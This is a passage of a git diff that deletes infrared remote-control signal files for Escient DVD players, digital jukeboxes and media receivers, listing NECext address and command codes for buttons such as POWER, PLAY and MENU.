NECext -address: 01 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir deleted file mode 100644 index 6f52d73c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/2,22.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 08 00 00 00 -# -name: CH/PAGE_- -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 11 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 13 00 00 00 -# -name: GUIDE_TOGGLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 14 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 16 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 1A 00 00 00 -# -name: VIEW_TOGGLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 1C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 21 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 24 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2A 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2C 00 00 00 -# -name: ADD_TO_FAVORITES -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 2D 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 32 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 02 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir deleted file mode 100644 index 4f947f437..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/3,22.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 0D 00 00 00 -# -name: OPENGLOBE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 15 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 1B 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 22 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 26 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2B 00 00 00 -# -name: PLAY_FAVORITES -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 30 00 00 00 -# -name: MACRO -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 31 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 33 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 03 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir deleted file mode 100644 index 568610e85..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/4,22.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 08 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0C 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_+ -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 11 00 00 00 -# -name: SETUP/SLEEP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 12 00 00 00 -# -name: OPTION/INPUT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 13 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 14 00 00 00 -# -name: GUIDE_TOGGLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 14 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 17 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 18 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 19 00 00 00 -# -name: ARROW_SELECT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1A 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 1C 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 21 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 23 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 26 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 27 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2A 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2C 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2D 00 00 00 -# -name: ADD_TO_FAVORITES -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 30 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 32 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 33 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 41 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 42 00 00 00 -# -name: PLAYMODE-NORMAL -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 43 00 00 00 -# -name: PLAYMODE-RPT_TRACK -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 44 00 00 00 -# -name: PLAYMODE-RPT_TITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 45 00 00 00 -# -name: PLAYMODE-RPT_GROUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 46 00 00 00 -# -name: PLAYMODE-RAND_TITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 47 00 00 00 -# -name: PLAYMODE-RAND_GROUP -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 48 00 00 00 -# -name: VIEW_BY_ARTIST -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 49 00 00 00 -# -name: VIEW_BY_TITLE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4A 00 00 00 -# -name: VIEW_BY_SONG -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4B 00 00 00 -# -name: VIEW_BY_COVER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4C 00 00 00 -# -name: PLAYER -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 04 16 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir deleted file mode 100644 index 37b574814..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/DVD Player/8,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: TRACK< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: TRACK> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: PREV_DISC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: FULL_SCREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: COVERS_SCREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: PLAY_SCREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 -# -name: DOWN' -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 62 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 63 00 00 00 -# -name: MOUSE_CLICK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 81 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 82 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 83 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 84 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 86 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 87 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 88 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 89 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: D4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: DF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: E1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: E2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir deleted file mode 100644 index 6dc3c50d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: CH/PAGE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: CH/PAGE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: OPEN_GLOBE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: MENU/VIEW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: I._RADIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2B 00 00 00 -# -name: FAVORITES_MUSIC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: ADD_FAVORITES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: FAVORITES_ADD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: FAVORITES_PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: PLAY_FAVORITES -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: FAVORITES_RANDOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: AE 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: AE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir deleted file mode 100644 index f37005cfa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_./_?' -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 01 00 00 00 -# -name: .?_?'_1 -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 01 00 00 00 -# -name: 2_ABC -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 02 00 00 00 -# -name: 3_DEF -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 03 00 00 00 -# -name: 4_GHI -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 04 00 00 00 -# -name: 5_JKL -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 05 00 00 00 -# -name: 6_MNO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 06 00 00 00 -# -name: 7_PQRS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 07 00 00 00 -# -name: 8_TUV -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 08 00 00 00 -# -name: 9_WXYZ -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 09 00 00 00 -# -name: CH_PAGE_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0D 00 00 00 -# -name: CH-/PG- -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 0E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 10 00 00 00 -# -name: LAST_/_MODE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 11 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 14 00 00 00 -# -name: GLOBE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 16 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 19 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1A 00 00 00 -# -name: INFO_/_ALL -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1B 00 00 00 -# -name: MENU_/_VIEW -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 1C 00 00 00 -# -name: REW_/BACKSPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 21 00 00 00 -# -name: >>_SPACE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 22 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 24 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 25 00 00 00 -# -name: MOVIES -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 26 00 00 00 -# -name: I_RADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: IRADIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2A 00 00 00 -# -name: JUKEBOX_NEXT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2B 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2C 00 00 00 -# -name: PLAY_FAVOR -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2E 00 00 00 -# -name: RAMDOM -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 2F 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 30 00 00 00 -# -name: JUKEBOX_MACRO -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 31 00 00 00 -# -name: JUKEBOX_PREVIOUS -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 32 00 00 00 -# -name: JUKEBOX_REPEAT -type: parsed -protocol: NECext -address: 01 16 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir deleted file mode 100644 index 5711a0cbb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOL- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/Hard Drive 